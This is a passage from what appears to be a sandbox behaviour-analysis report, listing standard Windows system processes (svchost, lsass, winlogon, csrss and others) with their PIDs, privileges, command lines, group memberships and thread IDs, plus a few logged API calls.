= 10 os_tid = 0x764 Thread: id = 11 os_tid = 0x788 Thread: id = 12 os_tid = 0x700 [0038.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xedd640 | out: lpSystemTimeAsFileTime=0xedd640*(dwLowDateTime=0x69cdfa80, dwHighDateTime=0x1d5e0db)) [0038.101] GetCurrentProcessId () returned 0x664 [0038.101] GetCurrentThreadId () returned 0x700 [0038.101] GetTickCount () returned 0x1152fb8 [0038.101] QueryPerformanceCounter (in: lpPerformanceCount=0xedd648 | out: lpPerformanceCount=0xedd648*=17974744563) returned 1 [0038.102] malloc (_Size=0x100) returned 0x308e80 [0108.306] free (_Block=0x308e80) Thread: id = 13 os_tid = 0x758 Thread: id = 14 os_tid = 0x220 Thread: id = 15 os_tid = 0x2dc Thread: id = 16 os_tid = 0x324 Thread: id = 35 os_tid = 0x8a8 Thread: id = 107 os_tid = 0x928 Thread: id = 167 os_tid = 0x9b8 Process: id = "5" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9014000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000db03" [0xc000000f], "LOCAL" [0x7] Thread: id = 17 os_tid = 0x7c0 Thread: id = 18 os_tid = 0x310 Thread: id = 19 os_tid = 0x128 Thread: id = 20 os_tid = 0x7c8 Thread: id = 21 os_tid = 0x6cc Thread: id = 22 os_tid = 0x644 Thread: id = 23 os_tid = 0x63c Thread: id = 24 os_tid = 0x154 Thread: id = 25 os_tid = 0x150 Thread: id = 26 os_tid = 0x120 Thread: id = 27 os_tid = 0x124 Thread: id = 28 os_tid = 0x118 Thread: id = 29 os_tid = 0x3fc Thread: id = 31 os_tid = 0x828 Thread: id = 116 os_tid = 0xbac Thread: id = 118 os_tid = 0x304 Thread: id = 163 os_tid = 0x67c Thread: id = 170 os_tid = 0xa98 Thread: id = 174 os_tid = 0x888 Thread: id = 175 os_tid = 0xb78 Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x8f04000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "2" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 36 os_tid = 0x15c Thread: id = 37 os_tid = 0x174 Thread: id = 38 os_tid = 0x388 Thread: id = 39 os_tid = 0x514 Thread: id = 40 os_tid = 0x318 Thread: id = 41 os_tid = 0x638 Thread: id = 42 os_tid = 0x25c Thread: id = 43 os_tid = 0x74c Thread: id = 44 os_tid = 0x794 Thread: id = 45 os_tid = 0x7a4 Thread: id = 46 os_tid = 0x6d0 Thread: id = 47 os_tid = 0x4e4 Thread: id = 48 os_tid = 0x504 Thread: id = 49 os_tid = 0x7ac Thread: id = 50 os_tid = 0x630 Thread: id = 51 os_tid = 0x524 Thread: id = 52 os_tid = 0x64 Thread: id = 53 os_tid = 0x40c Thread: id = 54 os_tid = 0x798 Thread: id = 55 os_tid = 0x7dc Thread: id = 56 os_tid = 0x344 Thread: id = 57 os_tid = 0x7e8 Thread: id = 58 os_tid = 0x11c Thread: id = 59 os_tid = 0x41c Thread: id = 60 os_tid = 0x618 Thread: id = 61 os_tid = 0x5fc Thread: id = 62 os_tid = 0x5f4 Thread: id = 63 os_tid = 0x5ec Thread: id = 64 os_tid = 0x5d0 Thread: id = 65 os_tid = 0x5c4 Thread: id = 66 os_tid = 0x5c0 Thread: id = 67 os_tid = 0x59c Thread: id = 68 os_tid = 0x480 Thread: id = 69 os_tid = 0x45c Thread: id = 70 os_tid = 0x43c Thread: id = 71 os_tid = 0x414 Thread: id = 72 os_tid = 0x410 Thread: id = 73 os_tid = 0xf0 Thread: id = 74 os_tid = 0xc8 Thread: id = 75 os_tid = 0x3f4 Thread: id = 76 os_tid = 0x3e8 Thread: id = 77 os_tid = 0x39c Thread: id = 78 os_tid = 0x390 Thread: id = 79 os_tid = 0x37c Thread: id = 80 os_tid = 0x374 Thread: id = 104 os_tid = 0x8e8 Thread: id = 105 os_tid = 0x8f8 Thread: id = 106 os_tid = 0x908 Thread: id = 109 os_tid = 0x9f8 Thread: id = 110 os_tid = 0xa08 Thread: id = 111 os_tid = 0xa18 Thread: id = 112 os_tid = 0xa28 Thread: id = 113 os_tid = 0xa48 Thread: id = 117 os_tid = 0xb28 Thread: id = 155 os_tid = 0x7d8 Thread: id = 157 os_tid = 0x7e0 Thread: id = 158 os_tid = 0xbc0 Thread: id = 159 os_tid = 0x698 Thread: id = 160 os_tid = 0xbb4 Thread: id = 161 os_tid = 0x968 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x3323f000" os_pid = "0x804" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:000711d6" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 81 os_tid = 0x8c8 Thread: id = 82 os_tid = 0x898 Thread: id = 83 os_tid = 0x858 Thread: id = 84 os_tid = 0x848 Thread: id = 85 os_tid = 0x838 Thread: id = 86 os_tid = 0x818 Thread: id = 108 os_tid = 0x938 Thread: id = 168 os_tid = 0x6e8 Process: id = "8" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x49509000" os_pid = "0x42c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:0005d4d8" [0xc000000f] Thread: id = 87 os_tid = 0x88c Thread: id = 88 os_tid = 0x87c Thread: id = 89 os_tid = 0x86c Thread: id = 90 os_tid = 0x85c Thread: id = 91 os_tid = 0x84c Thread: id = 92 os_tid = 0x83c Thread: id = 93 os_tid = 0x82c Thread: id = 94 os_tid = 0x81c Thread: id = 95 os_tid = 0x80c Thread: id = 166 os_tid = 0x9a8 Thread: id = 176 os_tid = 0x308 Process: id = "9" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x77404000" os_pid = "0xbcc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e990" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x250" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 96 os_tid = 0xbec Thread: id = 97 os_tid = 0xbe8 Thread: id = 98 os_tid = 0xbe4 Thread: id = 99 os_tid = 0xbe0 Thread: id = 100 os_tid = 0xbdc Thread: id = 101 os_tid = 0xbd8 Thread: id = 102 os_tid = 0xbd4 Thread: id = 103 os_tid = 0xbd0 Thread: id = 165 os_tid = 0x998 Thread: id = 177 os_tid = 0x124 Process: id = "10" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x941e000" os_pid = "0x218" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b6" [0xc000000f], "LOCAL" [0x7] Thread: id = 119 os_tid = 0xb38 Thread: id = 120 os_tid = 0xc4 Thread: id = 121 os_tid = 0x660 Thread: id = 122 os_tid = 0x7bc Thread: id = 123 os_tid = 0x72c Thread: id = 124 os_tid = 0x600 Thread: id = 125 os_tid = 0x5e8 Thread: id = 126 os_tid = 0x5d8 Thread: id = 127 os_tid = 0x5a4 Thread: id = 128 os_tid = 0x544 Thread: id = 129 os_tid = 0x404 Thread: id = 130 os_tid = 0x138 Thread: id = 131 os_tid = 0x378 Thread: id = 132 os_tid = 0x3a0 Thread: id = 133 os_tid = 0x214 Thread: id = 134 os_tid = 0x12c Thread: id = 164 os_tid = 0xa6c Thread: id = 169 os_tid = 0xa38 Thread: id = 171 os_tid = 0x4e4 Thread: id = 172 os_tid = 0xd0 Thread: id = 173 os_tid = 0xe8 Process: id = "11" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5fd000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b93c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 135 os_tid = 0xa3c Thread: id = 136 os_tid = 0x718 Thread: id = 137 os_tid = 0x6d8 Thread: id = 138 os_tid = 0x6b0 Thread: id = 139 os_tid = 0x590 Thread: id = 140 os_tid = 0x574 Thread: id = 141 os_tid = 0x144 Thread: id = 142 os_tid = 0x110 Thread: id = 143 os_tid = 0x3f0 Thread: id = 144 os_tid = 0x3e4 Thread: id = 145 os_tid = 0x3e0 Thread: id = 146 os_tid = 0x3d0 Thread: id = 147 os_tid = 0x3cc Thread: id = 148 os_tid = 0x398 Thread: id = 149 os_tid = 0x394 Thread: id = 150 os_tid = 0x384 Thread: id = 151 os_tid = 0x380 Thread: id = 152 os_tid = 0x368 Thread: id = 153 os_tid = 0x350 Thread: id = 154 os_tid = 0x33c Thread: id = 156 os_tid = 0x678 Thread: id = 162 os_tid = 0xbbc Process: id = "12" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "kernel_analysis" parent_id = "0" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 178 os_tid = 0x8 Thread: id = 179 os_tid = 0xc0 Thread: id = 180 os_tid = 0x28 Thread: id = 181 os_tid = 0xc8 Thread: id = 182 os_tid = 0x44 Thread: id = 183 os_tid = 0x5c Thread: id = 184 os_tid = 0x90 Thread: id = 185 os_tid = 0x4c Thread: id = 186 os_tid = 0x40 Thread: id = 187 os_tid = 0x30 [0238.126] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x1cf06, Tag=0x63426343) returned 0xfffffa8003911000 Thread: id = 188 os_tid = 0xb4 Thread: id = 189 os_tid = 0xc4 Thread: id = 190 os_tid = 0xcc Thread: id = 191 os_tid = 0xd0 Thread: id = 192 os_tid = 0xb8 Thread: id = 193 os_tid = 0x34 Thread: id = 194 os_tid = 0xd4 Thread: id = 195 os_tid = 0xd8 Thread: id = 196 os_tid = 0xdc Thread: id = 200 os_tid = 0x9c Thread: id = 201 os_tid = 0x38 Thread: id = 202 os_tid = 0x3c Thread: id = 203 os_tid = 0x48 Thread: id = 204 os_tid = 0xe8 Thread: id = 205 os_tid = 0x2c Thread: id = 206 os_tid = 0xb0 Thread: id = 207 os_tid = 0x88 Thread: id = 208 os_tid = 0x80 Thread: id = 209 os_tid = 0xfc Thread: id = 210 os_tid = 0x100 Thread: id = 211 os_tid = 0x10c Thread: id = 212 os_tid = 0x118 Thread: id = 213 os_tid = 0x11c Thread: id = 214 os_tid = 0x24 Thread: id = 215 os_tid = 0x64 Thread: id = 216 os_tid = 0x108 Thread: id = 217 os_tid = 0x120 Thread: id = 220 os_tid = 0x110 Thread: id = 222 os_tid = 0x13c Thread: id = 223 os_tid = 0x140 Thread: id = 224 os_tid = 0x144 Thread: id = 225 os_tid = 0x148 Thread: id = 239 os_tid = 0x78 Thread: id = 243 os_tid = 0x68 Thread: id = 244 os_tid = 0x19c Thread: id = 259 os_tid = 0x50 Thread: id = 260 os_tid = 0x60 Thread: id = 267 os_tid = 0x104 Thread: id = 294 os_tid = 0x98 Thread: id = 296 os_tid = 0x74 Thread: id = 301 os_tid = 0x27c Thread: id = 328 os_tid = 0x2f0 Thread: id = 337 os_tid = 0x318 Thread: id = 352 os_tid = 0x8c Thread: id = 382 os_tid = 0x3d4 Thread: id = 401 os_tid = 0xbc Thread: id = 422 os_tid = 0x374 Thread: id = 423 os_tid = 0x3a0 Thread: id = 465 os_tid = 0x94 Thread: id = 469 os_tid = 0x84 Thread: id = 480 os_tid = 0x4a4 Thread: id = 483 os_tid = 0x4a8 Thread: id = 487 os_tid = 0x4ec Thread: id = 499 os_tid = 0x4ac Thread: id = 526 os_tid = 0x20 Thread: id = 542 os_tid = 0x1c Thread: id = 561 os_tid = 0x628 Thread: id = 565 os_tid = 0x638 Thread: id = 575 os_tid = 0x660 Thread: id = 591 os_tid = 0xa0 Thread: id = 600 os_tid = 0x6c8 Thread: id = 605 os_tid = 0x664 Thread: id = 621 os_tid = 0x718 Thread: id = 624 os_tid = 0x724 Thread: id = 625 os_tid = 0x728 Thread: id = 626 os_tid = 0x72c Thread: id = 628 os_tid = 0x730 Thread: id = 630 os_tid = 0x738 Thread: id = 652 os_tid = 0x7a0 Thread: id = 697 os_tid = 0x0 Thread: id = 701 os_tid = 0x4c8 Thread: id = 703 os_tid = 0x31c Process: id = "13" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x1b2cb000" os_pid = "0xe0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 197 os_tid = 0xe4 Thread: id = 198 os_tid = 0xec Thread: id = 218 os_tid = 0x128 Thread: id = 230 os_tid = 0x16c Process: id = "14" image_name = "autochk.exe" filename = "c:\\windows\\system32\\autochk.exe" page_root = "0x2ca05000" os_pid = "0xf0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xe0" cmd_line = "\\??\\C:\\Windows\\system32\\autochk.exe *" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 199 os_tid = 0xf4 Process: id = "15" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x17c5a000" os_pid = "0x12c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000000 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 219 os_tid = 0x130 Process: id = "16" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0xf715000" os_pid = "0x134" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x12c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 221 os_tid = 0x138 Thread: id = 226 os_tid = 0x14c Thread: id = 227 os_tid = 0x150 Thread: id = 228 os_tid = 0x154 Thread: id = 229 os_tid = 0x158 Thread: id = 238 os_tid = 0x190 Thread: id = 245 os_tid = 0x1a0 Thread: id = 246 os_tid = 0x1a4 Thread: id = 251 os_tid = 0x1c0 Thread: id = 262 os_tid = 0x1e8 Process: id = "17" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0xfe60000" os_pid = "0x15c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "13" os_parent_pid = "0xe0" cmd_line = "\\SystemRoot\\System32\\smss.exe 00000001 0000003c " cur_dir = "C:\\Windows\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 231 os_tid = 0x160 Process: id = "18" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0x2c61b000" os_pid = "0x164" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "15" os_parent_pid = "0x12c" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 232 os_tid = 0x168 Thread: id = 240 os_tid = 0x194 Thread: id = 241 os_tid = 0x198 Thread: id = 248 os_tid = 0x1ac Thread: id = 249 os_tid = 0x1b0 Thread: id = 250 os_tid = 0x1bc Thread: id = 268 os_tid = 0x1fc Thread: id = 314 os_tid = 0x2bc Process: id = "19" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x106ef000" os_pid = "0x170" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x15c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 233 os_tid = 0x174 Thread: id = 234 os_tid = 0x178 Thread: id = 235 os_tid = 0x17c Thread: id = 236 os_tid = 0x180 Thread: id = 237 os_tid = 0x184 Thread: id = 247 os_tid = 0x1a8 Thread: id = 257 os_tid = 0x1dc Thread: id = 258 os_tid = 0x1e0 Process: id = "20" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x1e1f5000" os_pid = "0x188" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "17" os_parent_pid = "0x15c" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 242 os_tid = 0x18c Thread: id = 252 os_tid = 0x1d4 Thread: id = 253 os_tid = 0x1d8 Thread: id = 319 os_tid = 0x2cc Thread: id = 340 os_tid = 0x324 Thread: id = 396 os_tid = 0xfc Thread: id = 397 os_tid = 0x13c Thread: id = 403 os_tid = 0x144 Process: id = "21" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x1de3d000" os_pid = "0x1b4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x164" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 254 os_tid = 0x1b8 Thread: id = 274 os_tid = 0x214 Thread: id = 275 os_tid = 0x218 Thread: id = 276 os_tid = 0x21c Thread: id = 277 os_tid = 0x220 Thread: id = 278 os_tid = 0x224 Thread: id = 279 os_tid = 0x228 Thread: id = 280 os_tid = 0x22c Thread: id = 281 os_tid = 0x230 Thread: id = 282 os_tid = 0x234 Thread: id = 283 os_tid = 0x238 Thread: id = 284 os_tid = 0x23c Thread: id = 300 os_tid = 0x278 Thread: id = 400 os_tid = 0x110 Thread: id = 493 os_tid = 0x508 Thread: id = 507 os_tid = 0x54c Thread: id = 515 os_tid = 0x570 Process: id = "22" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0x1e048000" os_pid = "0x1c4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x164" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 255 os_tid = 0x1c8 Thread: id = 261 os_tid = 0x1e4 Thread: id = 263 os_tid = 0x1ec Thread: id = 264 os_tid = 0x1f0 Thread: id = 265 os_tid = 0x1f4 Thread: id = 266 os_tid = 0x1f8 Thread: id = 269 os_tid = 0x200 Thread: id = 270 os_tid = 0x204 Thread: id = 271 os_tid = 0x208 Thread: id = 272 os_tid = 0x20c Thread: id = 273 os_tid = 0x210 Thread: id = 333 os_tid = 0x308 Thread: id = 345 os_tid = 0x33c Thread: id = 402 os_tid = 0x140 Thread: id = 428 os_tid = 0x1c8 Process: id = "23" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0x1e04f000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "18" os_parent_pid = "0x164" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 256 os_tid = 0x1d0 Thread: id = 286 os_tid = 0x248 Thread: id = 316 os_tid = 0x2c0 Thread: id = 318 os_tid = 0x2c8 Thread: id = 320 os_tid = 0x2d0 Thread: id = 322 os_tid = 0x2d8 Thread: id = 325 os_tid = 0x2e4 Thread: id = 326 os_tid = 0x2e8 Thread: id = 327 os_tid = 0x2ec Thread: id = 329 os_tid = 0x2f4 Thread: id = 489 os_tid = 0x4fc Process: id = "24" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xed07000" os_pid = "0x240" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT 